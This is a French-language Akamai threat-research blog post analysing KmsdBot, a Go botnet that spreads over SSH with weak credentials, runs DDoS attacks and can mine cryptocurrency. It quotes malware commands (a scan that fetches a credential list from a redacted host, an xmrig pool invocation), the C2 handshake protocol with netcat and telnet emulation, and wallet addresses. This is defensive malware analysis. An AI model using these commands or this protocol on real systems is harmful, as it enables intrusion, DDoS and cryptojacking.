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KmsdBot : le programme malveillant d'attaque et de minage

Larry Cashdollar

écrit par

Larry Cashdollar

November 10, 2022

Larry Cashdollar

écrit par

Larry Cashdollar

Larry W. Cashdollar travaille dans le domaine de la sécurité en tant que chercheur en vulnérabilité depuis plus de 18 ans. Il est actuellement membre de l'équipe de réponse aux incidents de sécurité chez Akamai Technologies. Il a étudié l'informatique à l'Université du sud du Maine. Larry a documenté plus de 150 CVE (vulnérabilités et failles courantes) et a même présenté ses recherches à Bsides Boston, OWASP Rhode Island et Defcon. Il aime le plein air et reconstruit des moteurs de mini-motos pendant son temps libre.

L'équipe de recherche sur la sécurité d'Akamai a observé un nouveau programme malveillant qui a infecté notre pot de miel et que nous avons baptisé KmsdBot. Le botnet infecte les systèmes via une connexion SSH qui utilise des identifiants faibles.
L'équipe de recherche sur la sécurité d'Akamai a observé un nouveau programme malveillant qui a infecté notre pot de miel et que nous avons baptisé KmsdBot. Le botnet infecte les systèmes via une connexion SSH qui utilise des identifiants faibles.

Synthèse

  • Le groupe Security Intelligence d'Akamai a observé un nouveau logiciel malveillant qui a infecté notre pot de miel et que nous avons baptisé KmsdBot.  

  • Le botnet infecte les systèmes via une connexion SSH qui utilise des identifiants de connexion faibles.

  • Il est écrit en Golang, un langage de plus en plus utilisé par les attaquants en raison de la difficulté de faire de l'ingénierie inverse.

  • Le programme malveillant attaque en utilisant UDP, TCP, HTTP POST et GET, et une infrastructure de commande et de contrôle (C2), qui communique via TCP.

  • Le programme malveillant ne persiste pas sur le système infecté afin d'échapper à la détection.

  • Les cibles du programme malveillant sont variées. Elles comprennent le secteur des jeux vidéo, le secteur des technologies et celui de la fabrication de voitures de luxe.

  • Le botnet a également la capacité d'exploiter des cryptomonnaies.

  • Le programme malveillant prend en charge plusieurs architectures, telles que Winx86, Arm64 et MIPS64, x86_64.

À chaque nouveau jour son nouveau programme malveillant

L'équipe SIRT (Security Intelligence Response Team) d'Akamai est chargée de suivre, détecter, documenter et publier de nouvelles découvertes afin de protéger la sécurité et la stabilité d'Akamai, de ses clients et d'Internet dans son ensemble. Dans le cadre de cette mission, nous avons réparti une myriade de pots de miel sur Internet. Les membres de la SIRT observent et analysent ces pots de miel et font ainsi toutes sortes de nouvelles découvertes, ce qui nous permet aussi de garder un œil sur ce qui se passe dans la nature. 

Cette semaine, nous avons commencé à tester une nouvelle configuration de pot de miel pour voir quelles autres découvertes nous pourrions faire, notamment alors que nous entrons en période de fêtes. Comme nous observons en général une plus forte activité malveillante à cette période de l'année, nous avons laissé le nouveau pot de miel plus ouvert et accessible tout au long des premières étapes de test et de modification. C'est un bon moyen de le tester, n'est-ce pas ? 

Sans surprise, nous avons trouvé une entrée de journal intéressante : un mineur de cryptomonnaie doté d'une fonctionnalité de déni de service distribué (DDoS) adaptée au secteur des jeux vidéo. Ce n'est pas souvent que nous observons des attaques et une propagation active de ce type de botnets, en particulier parmi ceux écrits en Golang. Les cibles vont des entreprises de jeux vidéo aux marques de voitures de luxe en passant par les entreprises de sécurité. Ce programme malveillant est presque imprévisible en ce qui concerne ses cibles. 

Dans cette publication, nous vous présenterons l'histoire de KmsdBot alors qu'il a traversé nos mécanismes afin que vous puissiez l'étudier et améliorer la sécurité de votre propre organisation.

Vérifiez toujours les journaux

Comme le pot de miel était assez ouvert, nous nous attendions à ce qu'il ait beaucoup de succès. Après tout, un bon pot de miel séduit les attaquants. Il y avait des commandes pour télécharger des programmes malveillants. Nous avons donc commencé une enquête. Après examen, nous avons trouvé un certain nombre d'entrées comme celle de la figure 1.

Fig. 1 : entrée de journal de commande de téléchargement et d'exécution d'infection par un logiciel malveillant

Fig. 1 : entrée de journal de commande de téléchargement et d'exécution d'infection par un logiciel malveillant

Nous avons utilisé le protocole FTP (File Transfer Protocol) pour nous connecter au système et accéder à tous les fichiers disponibles au téléchargement. Cela permet d'en savoir plus sur les motivations du logiciel malveillant lui-même et potentiellement des auteurs de menaces derrière celui-ci.

Fig. 2 : diverses architectures de processeur prises en charge

Fig. 2 : diverses architectures de processeur prises en charge

La figure 2 illustre la structure de répertoire du serveur de téléchargement FTP. Nous pouvons voir les répertoires de l'architecture du système : certains contiennent des fichiers binaires compilés, tandis que d'autres sont vides. Mais les répertoires vides indiquent les emplacements que les auteurs de programmes malveillants peuvent cibler ensuite. Le script download.php contient le code d'infection qui téléchargera et exécutera le logiciel malveillant sur le serveur Web sur lequel il est exécuté :

Fig. 3 : Le script download.php contient le code d'infection qui téléchargera et exécutera le logiciel malveillant sur le serveur Web sur lequel il est exécuté.

Fig. 3 : le script download.php contient le code d'infection qui téléchargera et exécutera le logiciel malveillant sur le serveur Web sur lequel il est exécuté.

Après une analyse plus approfondie, il semblait y avoir quelques fichiers binaires compilés pour diverses architectures (figure 3). Bien que certains répertoires soient vides, certaines architectures (comme x86_64 et 386) disposent d'échantillons de programmes malveillants à télécharger. Il sera important de s'en souvenir lorsque nous examinerons les cibles ultérieurement dans cette publication.

Fig. 4 : Les fichiers binaires de taille similaire semblent être des versions révisées de la même base de code de programme malveillant

Fig. 4 : Les fichiers binaires de taille similaire semblent être des versions révisées de la même base de code de programme malveillant

Les fichiers sont tous des fichiers binaires compilés en langage Go.

  client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped

Analyse 

Un diff de la sortie source Redress du fichier binaire client et du fichier binaire ksmdm révèle qu'il s'agit probablement de la même chose avec quelques légères différences de code. Redress est un utilitaire d'ingénierie inverse en langage Go et en open source qui reconstruit les structures des fichiers binaires en langage Go pour aider à l'ingénierie inverse. Il s'agit d'un outil essentiel car de plus en plus d'attaquants utilisent Golang pour leurs activités malveillantes, probablement parce qu'il représente un  défi accru en termes d'ingénierie inverse.

Même programme malveillant, différent… tout ?

Le nom de package Go « /racine/client » est le même pour la plupart des fichiers binaires, ce qui implique qu'il pourrait s'agir du même programme malveillant, mais peut-être de versions révisées différentes disposant de fonctionnalités plus récentes. Les programmes malveillants sont souvent actualisés, mais celui-ci prend de multiples directions, ce qui est unique. Nous pensons qu'il existe un fichier binaire client qui parle au C2, effectue des mises à jour et démarre et arrête le processus de minage. L'autre fichier binaire semble effectuer des opérations de minage et des opérations d'attaque. 

  $ diff client.source ksmdm.source 
19,23c19,23
< 	start Lines: 12 to 28 (16)	
< 	startfunc1 Lines: 19 to 30 (11)	
< 	startfunc2 Lines: 22 to 22 (0)	
< 	udpclimb Lines: 30 to 60 (30)	
< 	tcpclimb Lines: 60 to 88 (28)	
---
> 	start Lines: 10 to 26 (16)	
> 	startfunc1 Lines: 17 to 28 (11)	
> 	startfunc2 Lines: 20 to 20 (0)	
> 	udpclimb Lines: 28 to 58 (30)	
> 	tcpclimb Lines: 58 to 86 (28)

La première cible observée de ce programme malveillant était une entreprise de jeux vidéo nommée FiveM, un client qui permet d'héberger des serveurs privés personnalisés pour Grand Theft Auto Online. La figure 4 montre un socket UDP en cours d'ouverture et un paquet en cours de construction avec un jeton de session FiveM. Cela fait croire au serveur qu'un utilisateur commence une nouvelle session et lui fait gaspiller des ressources supplémentaires en plus de la bande passante du réseau. Le programme malveillant inclut non seulement des attaques ciblées spécifiques, mais également des attaques génériques des couches 4 et 7.

Fig. 5 : Désassemblage de la fonction sym.main.udpfivemtoken montrant la création d'un paquet UDP avec des données de jeton FiveM

Fig. 5 : désassemblage de la fonction sym.main.udpfivemtoken montrant la création d'un paquet UDP avec des données de jeton FiveM

Analyse et propagation

Un examen de l'échantillon ksmdx révèle des fonctions permettant d'effectuer des opérations d'analyse et des mises à jour logicielles, ainsi que de contrôler le processus de minage.

  Package main: /root/client
File: client.go	
	(*Client)Recv Lines: 23 to 34 (11)	
	(*Client)Handle Lines: 34 to 52 (18)	
	(*Client).Handlefunc1 Lines: 35 to 35 (0)	
File: command.go	
	NewCommand Lines: 15 to 32 (17)	
	(*Command)Handle Lines: 32 to 62 (30)	
File: commandfunctions.go	
	ShellExec Lines: 11 to 23 (12)	
	scan Lines: 23 to 50 (27)	
	stopscan Lines: 50 to 69 (19)	
	updateminer Lines: 69 to 108 (39)	
	stopmine Lines: 108 to 127 (19)	
	updateclient Lines: 127 to 159 (32)	
File: main.go	
	main Lines: 8 to 16 (8)	
File: methods.go	
	start Lines: 12 to 28 (16)	
	startfunc1 Lines: 19 to 30 (11)	
	startfunc2 Lines: 22 to 22 (0)	
	udpclimb Lines: 30 to 60 (30)	
	tcpclimb Lines: 60 to 88 (28)	
File: utils.go	
	randomwallet Lines: 73 to 79 (6)	
	envname Lines: 79 to 129 (50)

Le fichier binaire ksmdx est un programme de téléchargement qui informe le C2 que le système a été infecté en lui envoyant une requête POST HTTP avec la notification « Bruh Started ».

  $./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds

La requête GET apparaît dans les journaux du serveur HTTP :

  192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"

une écoute démarre sur le port 45833 et le message POST de confirmation d'exécution suivant s'affiche :

 Message POST de confirmation d'exécution :

Le bot peut analyser la commande pour télécharger une liste d'identifiants de connexion (figure 5) à utiliser lorsqu'il recherche des ports SSH ouverts :

  !scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd 
Fig. 6 : Le fichier kzmds est une liste de combinaisons de noms d'utilisateur et de mots de passe Fig. 6 : Le fichier kzmds est une liste de combinaisons de noms d'utilisateur et de mots de passe

Fig. 6 : le fichier kzmds est une liste de combinaisons de noms d'utilisateur et de mots de passe

Communication C2

  [pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid  1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)

 Quand j'ai vérifié mes journaux à nouveau, j'ai vu que le programme malveillant attaquait mon pot de miel à partir d'une nouvelle adresse IP. Il téléchargeait de nouveaux fichiers binaires ayant une nouvelle adresse IP C2 intégrée. 

Si l'on regarde le trafic réseau, on voit que la connexion est initialisée avec un octet nul de 0x00 par le système infecté, et une réponse de 0x01 est envoyée depuis le C2. Le système infecté répond alors par un 2 en hexadécimal 0x02.

  [pid 2514865] write(4, "0x02", 4)       = 4

And 0x01 is the response

    xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
	0x0000:  4500 0038 adf3 4000 3a06 9b4a ab16 1e1f  E..8..@.:..J....
	0x0010:  c63a 6812 c8bc cc38 81f9 f90a abeb 552a  .:h....8......U*
	0x0020:  8018 01fe f2b4 0000 0101 080a 3cc2 30e0  ............<.0.
	0x0030:  f269 b8b6 3078 3031                      .i..0x01

Nous pouvons le tester rapidement avec l'utilitaire netcat.

  $ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01

[pid 2516369] write(4, "0x00", 4)       = 4

It looks like 0x02 is the heartbeat

    xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
	0x0000:  4500 0038 3010 4000 4006 132e c63a 6812  E..80.@.@....:h.
	0x0010:  ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2  .....8....T.....
	0x0020:  8018 01f6 f7ac 0000 0101 080a f268 5151  .............hQQ
	0x0030:  3cc0 b581 3078 3032                      <...0x02

Communication avec le C2

Le texte surligné en vert ci-dessous est la réponse du C2 et le texte surligné en bleu est l'endroit où j'ai émulé le logiciel malveillant en envoyant la réponse 0x02.

  % telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01

Minage de cryptomonnaie

Les comptes utilisateur de portefeuille de cryptomonnaie possibles de la fonction sym.main.randomwomlet() sont indiqués ci-dessous. Je soupçonne qu'ils sont choisis au hasard pour contribuer à différents pools de minage. Sur la période où j'ai observé le botnet, je n'ai constaté aucune activité de minage de cryptomonnaie. Le botnet était uniquement impliqué dans l'activité DDoS. Le bot dispose cependant d'une fonctionnalité permettant de lancer l'activité de minage de cryptomonnaie : j'ai trouvé une commande ./ksmdr -o pool.hashvault.pro où ksmdr est en fait un fichier binaire xmrig ayant été renommé.

  │      │╎   0x0065b6b0      488d05356c08.  lea rax, [0x006e22ec]       ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│      │╎   0x0065b6b7      4889442428     mov qword [var_28h], rax
│      │╎   0x0065b6bc      48c74424305f.  mov qword [var_30h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6c5      488d053d6d08.  lea rax, [0x006e2409]       ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│      │╎   0x0065b6cc      4889442438     mov qword [var_38h], rax
│      │╎   0x0065b6d1      48c74424405f.  mov qword [var_40h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6da      488d05c96c08.  lea rax, [0x006e23aa]       ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│      │╎   0x0065b6e1      4889442448     mov qword [var_48h], rax
│      │╎   0x0065b6e6      48c74424505f.  mov qword [var_50h], 0x5f   ; '_'
│      │╎                                                              ; [0x5f:8]=-1 ; 95
│      │╎   0x0065b6ef      488d05556c08.  lea rax, [0x006e234b]       ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"

L'examen des structures sources montre que certains fichiers binaires sont des versions mises à jour différentes de la même base de code. Il semble donc que ce botnet fait l'objet d'un développement actif.

  $ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< 	(*Command)Handle Lines: 32 to 136 (104)	
---
> 	(*Command)Handle Lines: 32 to 144 (112)	
11,18c11,20
< 	scan Lines: 23 to 50 (27)	
< 	stopscan Lines: 50 to 69 (19)	
< 	updateminer Lines: 69 to 108 (39)	
< 	stopmine Lines: 108 to 127 (19)	
< 	updateclient Lines: 127 to 161 (34)	
< 	loadclient Lines: 161 to 180 (19)	
< 	startminer Lines: 180 to 193 (13)	
< 	reloadminer Lines: 193 to 208 (15)	
---
> 	scan Lines: 23 to 52 (29)	
> 	startscan Lines: 52 to 75 (23)	
> 	stopscan Lines: 75 to 97 (22)	
> 	updateminer Lines: 97 to 144 (47)	
> 	stopmine Lines: 144 to 166 (22)	
> 	updateclient Lines: 166 to 202 (36)	
> 	loadclient Lines: 202 to 221 (19)	
> 	removefile Lines: 221 to 235 (14)	
> 	startminer Lines: 235 to 248 (13)	
> 	reloadminer Lines: 248 to 264 (16)	
54,60c56,62
< 	getrandpath Lines: 12 to 62 (50)	
< 	get Lines: 62 to 109 (47)	
< 	fivem Lines: 109 to 156 (47)	
< 	fivemguid Lines: 156 to 204 (48)	
< 	post1 Lines: 204 to 255 (51)	
< 	post Lines: 255 to 344 (89)	
< 	bigdata Lines: 344 to 386 (42)	
---
> 	getrandpath Lines: 11 to 61 (50)	
> 	get Lines: 61 to 108 (47)	
> 	fivem Lines: 108 to 158 (50)	
> 	fivemguid Lines: 158 to 206 (48)	
> 	post1 Lines: 206 to 257 (51)	
> 	post Lines: 257 to 346 (89)	
> 	bigdata Lines: 346 to 388 (42)	

Analyse du trafic d'attaque

Les attaques que j'ai observées étaient soit des paquets TCP/UDP de couche 4 avec des données aléatoires comme charge utile, soit des paquets HTTP de couche 7 composés de requêtes GET et POST sur le chemin racine ou un chemin spécifié défini dans la commande d'attaque (figure 6).

Fig. 7 : requêtes POST d'attaque

Fig. 7 : requêtes POST d'attaque

Les captures d'écran ci-dessous montrent des en-têtes de demande tronqués et des référents aléatoires avec un en-tête manquant. Nous avons épuré certaines de ces images à des fins de confidentialité.

La figure 8 nous montre une commande !post provenant du C2 et ordonnant une attaque contre une cible.
La figure 8 nous montre une commande !post provenant du C2 et ordonnant une attaque contre une cible.

La figure 8 nous montre une commande !post provenant du C2 et ordonnant une attaque contre une cible.

Fig. 8 : commande d'attaque depuis le C2

Fig. 8 : commande d'attaque depuis le C2

Le C2 est défini dans la fonction sym.main.Connect() et est illustré aux figures 8, 9 et 10.

Fig. 9 : désassemblage de la fonction de communication du C2

Fig. 9 : désassemblage de la fonction de communication du C2

Fig. 10 : désassemblage du code de réponse 0x02

Fig. 10 : désassemblage du code de réponse 0x02

Fig. 10 : paquet d'attaque TCP Big Data Fig. 10 : paquet d'attaque TCP Big Data

Fig. 11 : paquet d'attaque TCP Big Data

IOCs

SHA256 

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Conclusion

Ce botnet offre un excellent exemple de la complexité de la sécurité et de son évolution. Ce qui semblait être au départ un bot pour une application de jeux vidéo a évolué pour se tourner vers l'attaque de grandes marques de luxe. Ce qui est nouveau, c'est la façon dont il infecte les systèmes : via une connexion SSH qui utilise des identifiants de connexion faibles. La bonne nouvelle est que les mêmes techniques que nous recommandons pour assurer la sécurité des systèmes et des réseaux de la plupart des organisations s'appliquent encore ici. 

  • N'utilisez pas d'identifiants de connexion faibles ou par défaut sur les serveurs ou les applications déployées. 

  • Assurez-vous que les applications déployées sont à jour et disposent des derniers correctifs de sécurité, et vérifiez-les de temps à autre.  

  • Utilisez l'authentification à clé publique pour vos connexions SSH. Il s'agit du meilleur moyen d'éviter ce type de compromission du système. 

La SIRT d'Akamai continuera de surveiller cette activité et de publier des mises à jour dès qu'elles seront disponibles.

Pour accéder à plus d'études et de mises à jour en temps réel, assurez-vous de nous suivre sur Twitter.



Larry Cashdollar

écrit par

Larry Cashdollar

November 10, 2022

Larry Cashdollar

écrit par

Larry Cashdollar

Larry W. Cashdollar travaille dans le domaine de la sécurité en tant que chercheur en vulnérabilité depuis plus de 18 ans. Il est actuellement membre de l'équipe de réponse aux incidents de sécurité chez Akamai Technologies. Il a étudié l'informatique à l'Université du sud du Maine. Larry a documenté plus de 150 CVE (vulnérabilités et failles courantes) et a même présenté ses recherches à Bsides Boston, OWASP Rhode Island et Defcon. Il aime le plein air et reconstruit des moteurs de mini-motos pendant son temps libre.